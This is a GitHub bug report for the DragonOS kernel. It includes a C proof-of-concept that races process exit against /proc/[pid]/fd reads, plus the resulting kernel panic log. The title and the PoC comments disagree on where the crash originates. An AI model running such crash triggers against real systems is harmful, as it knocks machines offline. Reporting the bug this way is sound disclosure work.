Skip to content

[BUG REPORT] Reachable unwrap() in ProcessControlBlock::drop when procfs_unregister_pid fails #1737

@nuczyc

Description

@nuczyc

Describe the bug

A kernel panic occurs in ProcessControlBlock::drop() when a process exits and procfs_unregister_pid() fails. The actual crash is in the Drop trait during process cleanup.

return self.basic.read().try_fd_table().unwrap();

To Reproduce

  1. Compile the program and run.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <dirent.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>

/*
 * PoC for triggering kernel panic in /proc/[pid]/fd directory creation
 * 
 * The crash occurs in DragonOS kernel when creating an inode for /proc/[pid]/fd
 * The panic happens at ProcDirBuilder::build().unwrap() in FdDirOps::new_inode()
 * 
 * This PoC attempts to trigger the crash by:
 * 1. Creating multiple processes
 * 2. Opening various file descriptors
 * 3. Accessing /proc/[pid]/fd directories rapidly
 * 4. Creating processes that exit while their /proc entries are being accessed
 * 
 * The vulnerability might be triggered if:
 * - ProcDirBuilder fails internally but returns None/Err
 * - Race conditions between process exit and /proc access
 * - Memory allocation failures during inode creation
 * - Invalid parent inode references
 */

void create_process_with_fds(int count) {
    pid_t pid = fork();
    if (pid == 0) {
        // Child process
        int fds[10];
        for (int i = 0; i < 10; i++) {
            fds[i] = open("/dev/null", O_RDWR);
            if (fds[i] < 0) {
                perror("open");
                exit(1);
            }
        }
        
        // Keep process alive briefly
        sleep(1);
        
        // Close all fds
        for (int i = 0; i < 10; i++) {
            close(fds[i]);
        }
        exit(0);
    }
}

void access_proc_fd(pid_t pid) {
    char path[256];
    snprintf(path, sizeof(path), "/proc/%d/fd", pid);
    
    DIR *dir = opendir(path);
    if (dir) {
        struct dirent *entry;
        while ((entry = readdir(dir)) != NULL) {
            // Just iterate through entries to trigger inode operations
            char fd_path[512];
            snprintf(fd_path, sizeof(fd_path), "%s/%s", path, entry->d_name);
            
            // Try to access each fd
            int fd = open(fd_path, O_RDONLY | O_NONBLOCK);
            if (fd >= 0) {
                close(fd);
            }
        }
        closedir(dir);
    }
}

int main() {
    printf("PoC: Attempting to trigger /proc/[pid]/fd inode creation panic\n");
    
    // Create multiple processes with file descriptors
    pid_t pids[20];
    for (int i = 0; i < 20; i++) {
        create_process_with_fds(i);
        pids[i] = fork();
        if (pids[i] == 0) {
            // Another child that just sleeps
            sleep(2);
            exit(0);
        }
    }
    
    // Rapidly access /proc entries for all processes
    for (int round = 0; round < 100; round++) {
        for (int i = 0; i < 20; i++) {
            access_proc_fd(pids[i]);
            access_proc_fd(getpid()); // Also access our own /proc/self/fd
        }
        
        // Create more processes while accessing existing ones
        if (round % 10 == 0) {
            create_process_with_fds(round);
        }
        
        usleep(1000); // Small delay to allow kernel processing
    }
    
    // Wait for all children
    for (int i = 0; i < 20; i++) {
        waitpid(pids[i], NULL, 0);
    }
    
    printf("PoC completed. If kernel is vulnerable, panic should have occurred.\n");
    return 0;
}

Environment

Logs

root@dragonos:~# /bin/ex4973___home__yuchen__dragon__DragonOS__kernel__s 
PoC: Attempting to trigger /proc/[pid]/fd inode creation panic
[ ERROR ] (src/debug/panic/mod.rs:43)    Kernel Panic Occurred. raw_pid: 20
Location:
        File: src/process/mod.rs
        Line: 1612, Column: 49
Message:
        called `Option::unwrap()` on a `None` value
Rust Panic Backtrace:
[1] function:_Unwind_Backtrace()        (+) 0051 address:0xffff8000004db083
Current PCB:
        ProcessControlBlock { pid: AtomicRawPid { container: 20 }, tgid: RawPid(20), thread_pid: RwLock { lock: 0, data: UnsafeCell { .. } }, pid_links: [PidLink { pid: RwLock { lock: 0, data: UnsafeCell { .. } } }, PidLink { pid: RwLock}

Metadata

Metadata

Assignees

No one assigned

    Labels

    bug-report这是一个bug报告(如果确认是一个bug,请管理人员添加`bug` label)enhancementNew feature or request

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions